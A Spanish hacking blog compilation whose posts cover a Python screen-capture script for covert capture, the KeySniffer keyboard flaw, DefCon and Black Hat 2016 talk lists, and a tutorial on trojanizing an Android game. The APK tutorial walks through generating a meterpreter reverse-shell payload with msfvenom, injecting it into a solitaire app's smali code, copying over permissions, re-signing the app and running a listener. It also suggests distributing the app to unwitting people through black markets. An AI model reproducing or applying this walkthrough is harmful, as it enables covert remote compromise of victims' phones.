Para el Hacking... El Python (I)

Buenas hoy os voy a traer la primera de una serie de entradas con las que aprenderemos a usar python, un poquito, para el hacking.

Principalmente hablar del lenguaje, un lenguaje de scripting creado a finales de los 80, por Guido Van Rossum, y blah blah blah.... Para quien quiera saber la historia, aquí os dejo un enlace que os puede interesar: Historia Python .

Bueno verdad que me acabo de saltar toda la historia (SKIP,SKIP,SKIP) pero diremos de el lenguaje que es un lenguaje interpretado, no hace falta compilar, podemos ejecutar directamente el código fuente, pues en cada ejecución se leerá cada sentencia y se interpretará. Es un lenguaje bastante útil en hacking y nos permite a través de sus millones de librerías realizar cosas que en otros lenguajes nos llevarían cientos de lineas ( estoy intentando pasar un código python a C++ y .... MUERTE).

Las sentencias son sencillas y no harán falta escribir los ';' finales de la mayoría de lenguajes. Eso sí habrá que tener cuidado con las tabulaciones pues es muy importante, en vez de  "{ }" las llavecitas de siempre, deberemos tabular cada linea dentro de un if, un else, un for ...

Para los que quieran aprender toda la sintaxis básica aquí os dejo un enlace con un manual de muy pocas páginas: Link más seguro que encontré

Bien hoy vamos a ver un programita que bueno, te hacen un screenshot en la pantalla. Podeis preguntar ¿ Y para qué...? . Bueno yo os doy las herramientas, vosotros pensad su utilidad malig... Digo su utilidad útil para el ma... Bueno pensad como querais.

Este programa hará uso de funciones que el señor Windows, deja de alguna manera en nuestra mano para usar como queramos.
Empecemos con las librerías:


Bien las dos primeras librerias no son necesarias, pero pueden ser útiles. La primera nos dirá si el sistema operativo donde se está ejecutando el programa es Windows o Linux o Mac ... Y la segunda nos valdrá para dar un nombre aleatorio al archivo final (este archivo para mayor facilidad será en formato bitmap).
Seguido, si nos encontramos en la tesitura de estar ejecutando el programa en un sistema operativo Windows, importamos las siguientes librerías, son la versión Python de la api de windows para tratar el Graphic User Interface, Información de usuario, y todo lo relacionado con la api Win32.

Finalmente establecemos una variable con un nombre aleatorio.

Vamos con nuestra función más principal de todas.
He comentado bastante el código (casi linea por linea). Pero bueno un poco os diré que todas estas funciones las proporciona Windows principalmente para otros usos, el GetDesktopWindow() podría usarse para generar ventanas derivadas de la actual (en relación padre-hijo). Tomar las medidas de la pantalla, normalmente pues puede valer para ajustar videos o imagenes al mostrarlos en la pantalla. Y bueno otro montón de funciones que tendrán más utilidades que tomar una captura (algo que de primeras, tiene más uso que los "ilegales").


Finalmente nos queda un main donde poder ejecutarlo, o una función que ejecute esto, lea el archivo, lo borre y luego pase el flujo de datos por algún socket (aham, aham ...).


Bueno, ya vemos aquí lo que realizamos, si no es windows pues oye que la función devuelva que no es windows. Y en caso que si sea Windows, pues ejecutamos, abrimos el archivo, leemos y devolvemos todos esos bytes.


Hasta aquí el primer artículo de una serie de artículos que escribiré sobre Python aplicado al hacking.
Sean buenos, cualquier cosa ya saben: Fare9.

(idea original libro: Black Hat Python).

Keysniffer

Hola a tod@s

Me encanta el hardware hacking, entre piñas, patos y tortugas tenemos una gran fauna sin duda. Lo último con lo que me he topado y que me ha dejado alucinado es con Keysniffer, digamos que es similar a un keyloger, pues el atacante captura todo lo que la victima escribe en su teclado.



Lo más alucinante que está al alcance de todos bolsillo, cualquiera que tenga una antenita que intercepte el tráfico inalámbrico como Crazyradio PA (que por cierto sólo cuesta 30-40$ en Amazon) puede ver todo lo que estás tecleando la victima ingenua desde una distancia de varios metros. 
Además, lo mejor de este ataque es que se trata de un ataque pasivo, el atacante no transmite absolutamente nada, lo cual no deja rastro alguno.



La lista de dispositivos afectados incluye teclados inalámbricos de Anker, EagleTec, General Electric, Hewlett-Packard, Insignia, Kensington, Radio Shack y Toshiba.

Los teclados vulnerables a KeySniffer anteriormente mencionados utilizan USB dongles que continuamente transmite paquetes de radio a intervalos regulares, permitiendo al atacante capturar los datos que se envían incluso cuando la víctima no está en el tecleando.

No sólo esnifa, también inyecta. Los investigadores explicaron que un atacante podría aprovecharse también para inyectar pulsaciones de teclado y a modo de Rubber Ducky escribir en el PC víctima y realizar actividades maliciosa.

Los investigadores demostraron que se trata de una vulnerabilidad muy extendida. Desgraciadamente los teclados afectados no pueden ser parcheados por lo que la única solución es dejar de usarlos. 


¿Aparece tu teclado en la lista de dispositivos afectados? Compruébalo ya, o quién sabe, a lo mejor mientras lees estas líneas alguien cercano a tí puede estar escuchando todo lo que tecleas.

No seáis malos. 

Investigaciones DefCON 2016

Hola a tod@s

Concluyo la Defcon 2016 y con ella un sin fin de investigaciones de seguridad para amenizar las calurosas tardes de agosto al salir del curro. Disfrutadlas:





No seáis malos. 

Meterpretear una apk

Vamos a ver paso a paso como podemos crear una apk, pues con un pequeño regalito de la marca Metasploit.


Para ello podemos usar apktool completamente, o la última versión de AndroidSwissKnife . Primero digamos que en este post vamos a tocar los temas de las APKs de Android, que es el formato utilizado para empaquetar las aplicaciones ( digamos que es una especie de zip, realmente podemos hacer unzip a un apk).
También vamos a tocar Metasploit, una gran herramienta para los pentesters, esta herramienta se basa en módulos los cuales permiten hacer (sobre todo intentos) de explotación de sistemas, con los módulos de exploit que cuenta la herramienta, o módulos auxiliares. Usaremos dos de las herramientas con las que cuenta metasploit: msfvenom (para generar payloads, dando la posibilidad de pasarlos por un encoder) y msfconsole (consola de comandos para hacer uso de exploits, modulos auxiliares...).
Vamos a realizar un sencillo proceso de Ingeniería inversa en android, pero bastante sencillo.

Bien, pues empezamos con el trabajo, para ello vamos a  poner un poco de música al asunto y enumeramos los materiales necesarios ( aquí una recomendación de mi parte: https://www.youtube.com/watch?v=Q7xLS6jqV90 ).

Materiales necesarios:
  1.  Tener el framework de explotación de Metasploit (para esta herramienta teneis en el blog en la sección de libros un buen ejemplar de como usar metasploit http://www.estacion-informatica.com/p/libros.html)
  2. Tener apktool instalado (descargar siempre la última versión pues en kali viene una algo anticuada).
  3. Tener una apk original en la que inyectaremos el módulo para lanzar el payload (yo usaré un sencillo juego del solitario)
  4. Algún conocimiento de smali y xml (pero bueno tampoco mucho pues voy a ir explicando).
Pasos a seguir, además explicaré un poco lo que realiza el payload.
  • Generaremos un payload para android con msfvenom, usaremos el conocido como reverse_tcp, para ello tenemos que saber nuestra IP a la que el cliente se conectará (el pobre que ejecute la aplicación) cuando arranque el solitario. Para esta tarea tenemos el comando ifconfig, así que abrimos una terminal y escribimos "ifconfig":
Bien de estas IPs que aparecen yo usaré la 10.0.0.1, ya que en esta subred se encuentra la máquina android con la que haremos las pruebas, ahora ejecutaremos msfvenom para sacar el payload:

  msfvenom --payload android/meterpreter/reverse_tcp lhost=10.0.0.1 lport=4444 -f raw > trojan.apk


 

Ya tendremos una apk con el nombre trojan.apk, o en mi caso trojan2.apk (seguiremos usando trojan.apk).

Vamos a sacar una representación de alto nivel (en java) de esta aplicación para ver un poco como funciona, y así aprendemos un poquito de reversing, además nunca viene mal saber como funciona nuestra aplicación maliciosa. Podemos usar dos herramientas: androidSwissKnife o dex2jar directamente:

          androidSwissKnife -a trojan.apk -o trojan --get-jar
                                            Si usamos dex2jar
          dex2jar trojan.apk


Seguidamente usaremos jd-gui para ver este código:

        jd-gui trojan_dex2jar.jar

Y seguidamente, inspeccionamos el código, vamos a MainActivity. Y vemos que lo primero que hace es crear un Service, lo cual en android es un proceso en segundo plano:

Y el service a su vez llama ya al método start de una extraña clase llamada Payload .


Investigando la clase Payload vemos que apunta a nuestra IP y el puerto elegido (4444), esta clase es la que ejecuta el payload y por tanto nos da la posibilidad de tener un cliente conectado a nosotros.
Algo que nos interesa de aquí de este service es la llamada a ese Payload ( Payload.start(this) ). Esta llamada la inyectaremos en el código del onCreate() de la actividad principal del juego del solitario.

Vamos a ejecutar apktool en ambas APKs. Podeis seguir los dos métodos, el usar apktool directamente o androidSwissKnife.

             androidSwissKnife -a name.apk -o name_output --apktool
                                    o si usamos apktool
             apktool d name.apk -o name_output

Y tendremos ya dos carpetas, una para cada APK con el AndroidManifest y con el código en formato smali (del cual ya hablé en mi anterior post).


Ahora abriremos ambos AndroidManifest.xml de ambas carpetas, pues tenemos que copiar los <uses-permission del trojan.apk al de solitario.apk, para poder realizar todo tipo de actividades malintencionadas ( No seais malignos con esto... ). Vamos a ver dos imagenes una con los <uses-permission sin el cambio y otro con el cambio:

Como se ve se hemos ampliado bastante la lista, los <uses-feature no nos hacen falta pues sólo nos condicionan a que dispositivos podemos instalar la aplicación.

Seguidamente de la carpeta apktool-trojan (o como vosotros la nombrarais), vamos a coger la carpeta metasploit dentro de la ruta apktool-trojan/smali/com . Y la copiamos y la pegamos dentro de nuestra apk original en la ruta apktool-(nombre apk)/smali/com . Con esto ya tenemos el código completo dentro de la aplicación original. Ahora abrimos dos archivos muy, y digo MUY importantes, el código MainService.smali de Metasploit y el MainActivity.smali de nuestra aplicación original.

Vamos con el primero, el MainService.smali , nos centraremos en el código de onStartCommand :

Bien vamos a ver abajo de donde pone .line 16 esa linea invoca al método start de la clase Payload , pasando como argumento p0 , en smali en códigos no static es la variable this. Ya sabeis si habeis programado en java, que es una variable que apunta a la clase u objeto en si mismo.
Esa linea es la que copiaremos en el método onCreate de MainActivity.smali de la APK original .

IMPORTANTE: ¿Cómo sabemos cual es la Activity principal de la apk original?. Bien, consultaremos el AndroidManifest.xml de la apk original, y aquella que tenga un Intent-Filter con un Main y un Launcher. Usamos esa.


Veis, aquí directamente copiar y pegar a capón esa linea, y en cuanto se ejecute el onCreate, tenemos que tener un handler escuchando con msfconsole.
De momento vamos a volver a crear la apk, con apktool y firmarla con d2j-apk-sign (podeis hacerlo con androidSwissKnife, pero os voy a poner los comandos con apktool y d2j-apk-sign):

            apktool b folder-name/ -o name_temporary.apk
            d2j-apk-sign -f -o final.apk name_temporary.apk


Y con esto tendremos en final.apk la apk final que tenemos que pasar a la gente y que se instalen manualmente (podemos intentar colarlas en black markets, para todo el que tenga el dispositivo root).

Ahora vamos a ejecutar los siguientes comandos:

                   msfconsole
                                Seguidamente cuando nuestra consola cargue...
                   use exploit/multi/handler
                   set payload android/meterpreter/reverse_tcp
                   set lhost 10.0.0.1
                   set lport 4444
                   run



Y ahora a esperar que alguien ejecute la aplicación, la cual funcionará sin que él se percate.

Vamos aquí a ejecutarlo en una máquina virtual, a ver que pasa:


Muy bien, tenemos a una persona contenta de poder echarse una partida al solitario, y a otra haciendo cosas maliciosas en otra máquina con meterpreter.


Hasta aquí el POST. Espero no resultara muy pesado, he intentado hacerlo algo divertido y subir imágenes que muestren el proceso paso a paso. Para cualquier problema o cualquier pregunta podeis contactar conmigo.

Un saludo, hasta el proximo post. Fare9

(Idea sacada de la lectura de: http://www.securitybydefault.com/2014/08/alterando-el-contenido-de-un-apk-parte.html )

Investigaciones Black Hat USA 2016

Hola a tod@s

Concluyo la Back Hat USA 2016 y con ella un sin fin de investigaciones de seguridad para amenizar las calurosas tardes de agosto al salir del curro. Disfrutadlas: 



A Journey from JNDI/LDAP Manipulation to Remote Code Execution Dream Land

Breaking Hardware-Enforced Security with Hypervisors


Breaking Kernel Address Space Layout Randomization (KASLR) with Intel TSX


badWPAD


Beyond the MCSE: Active Directory for the Security Professional


A Lightbulb Worm?


Abusing Bleeding Edge Web Standards for AppSec Glory


Access Keys Will Kill You Before You Kill the Password


Account Jumping Post Infection Persistency & Lateral Movement in AWS


AirBnBeware: Short Term Rentals Long Term Pwnage

AMSI: How Windows 10 Plans to Stop Script-Based Attacks and How Well It Does It


An AI Approach to Malware Similarity Analysis: Mapping the Malware Genome With a Deep Neural Network


Analysis of the Attack Surface of Windows 10 Virtualization-Based Security


Applied Machine Learning for Data Exfil and Other Fun Topics


Attacking SDN Infrastructure: Are We Ready for the Next-Gen Networking?

$hell on Earth: From Browser to System Compromise

1000 Ways to Die in Mobile OAuth

Adaptive Kernel Live Patching: An Open Collaborative Effort to Ameliorate Android N-Day Root Exploits


AVLeak: Fingerprinting Antivirus Emulators for Advanced Malware Evasion

Bad for Enterprise: Attacking BYOD Enterprise Mobile Security Solutions


Blunting the Phisher’s Spear: A Risk-Based Approach for Defining User Training and Awarding Administrative Privileges


Breaking FIDO: Are Exploits in There?

Breaking Payment Points of Interaction (POI)

Brute-Forcing Lockdown Harddrive PIN Codes

Building Trust & Enabling Innovation for Voice Enabled IoT

Call Me: Gathering Threat Intelligence on Telephony Scams to Detect Fraud


Can You Trust Me Now? An Exploration into the Mobile Threat Landscape

CANSPY: A Platform for Auditing CAN Devices


Captain Hook: Pirating AVs to Bypass Exploit Mitigations


Capturing 0day Exploits with PERFectly Placed Hardware Traps


Certificate Bypass: Hiding and Executing Malware from a Digitally Signed Executable


Crippling HTTPS with Unholy PAC


Cunning with CNG: Soliciting Secrets from Schannel


Cyber War in Perspective: Analysis from the Crisis in Ukraine


Dangerous Hare: Hanging Attribute References Hazards Due to Vendor Customization


Dark Side of the DNS Force


Defense at Hyperscale: Technologies and Policies for a Defensible Cyberspace

Demystifying the Secure Enclave Processor


Discovering and Exploiting Novel Security Vulnerabilities in Apple ZeroConf


Does Dropping USB Drives in Parking Lots and Other Places Really Work?


Drone Attacks on Industrial Wireless: A New Front in Cyber Security

Dungeons Dragons and Security


Exploiting Curiosity and Context: How to Make People Click on a Dangerous Link Despite Their Security Awareness


GATTacking Bluetooth Smart Devices – Introducing a New BLE Proxy Tool


Hackproofing Oracle eBusiness Suite


Hardening AWS Environments and Automating Incident Response for AWS Compromises


HEIST: HTTP Encrypted Information can be Stolen Through TCP-Windows

Horse Pill: A New Type of Linux Rootkit


HTTP Cookie Hijacking in the Wild: Security and Privacy Implications

HTTP/2 & QUIC – Teaching Good Protocols To Do Bad Things


I Came to Drop Bombs: Auditing the Compression Algorithm Weapon Cache


Into The Core – In-Depth Exploration of Windows 10 IoT Core


Intra-Process Memory Protection for Applications on ARM and x86: Leveraging the ELF ABI

Iran’s Soft-War for Internet Dominance


Language Properties of Phone Scammers: Cyberdefense at the Level of the Human


Memory Forensics Using Virtual Machine Introspection for Cloud Computing


Next-Generation of Exploit Kit Detection by Building Simulated Obfuscators


Nonce-Disrespecting Adversaries: Practical Forgery Attacks on GCM in TLS


O-checker: Detection of Malicious Documents Through Deviation from File Format Specifications


OSS Security Maturity: Time to Put On Your Big Boy Pants!


Pangu 9 Internals


PINdemonium: A DBI-Based Generic Unpacker for Windows Executable


PLC-Blaster: A Worm Living Solely in the PLC


Pwning Your Java Messaging with Deserialization Vulnerabilities


Recover a RSA Private Key from a TLS Session with Perfect Forward Secrecy

GreatFET: Making GoodFET Great Again


Hacking Next-Gen ATMs: From Capture to Cashout

Samsung Pay: Tokenized Numbers Flaws and Issues


Secure Penetration Testing Operations: Demonstrated Weaknesses in Learning Material and Tools


Security Through Design – Making Security Better by Designing for People


SGX Secure Enclaves in Practice: Security and Crypto Review


Side-Channel Attacks on Everyday Applications


Subverting Apple Graphics: Practical Approaches to Remotely Gaining Root


TCP Injection Attacks in the Wild – A Large Scale Study


The Art of Defense – How Vulnerabilities Help Shape Security Features and Mitigations in Android


The Art of Reverse Engineering Flash Exploits


The Beast Within – Evading Dynamic Malware Analysis Using Microsoft COM

The Remote Malicious Butler Did It!


The Risk from Power Lines: How to Sniff the G3 and Prime Data and Detect the Interfere Attack


When Governments Attack: State Sponsored Malware Attacks Against Activists Lawyers and Journalists

The Tao of Hardware the Te of Implants


The Year in Flash

Timing Attacks Have Never Been So Practical: Advanced Cross-Site Search Attacks

Using an Expanded Cyber Kill Chain Model to Increase Attack Resiliency

Using EMET to Disable EMET

Using Undocumented CPU Behavior to See into Kernel Mode and Break KASLR in the Process

Viral Video – Exploiting SSRF in Video Converters

VOIP WARS: The Phreakers Awaken


Weaponizing Data Science for Social Engineering: Automated E2E Spear Phishing on Twitter

Windows 10 Segment Heap Internals


Xenpwn: Breaking Paravirtualized Devices

Web Application Firewalls: Analysis of Detection Logic


What’s the DFIRence for ICS?

When the Cops Come A-Knocking: Handling Technical Assistance Demands from Law Enforcement

Windows 10 Mitigation Improvements


No seáis malos.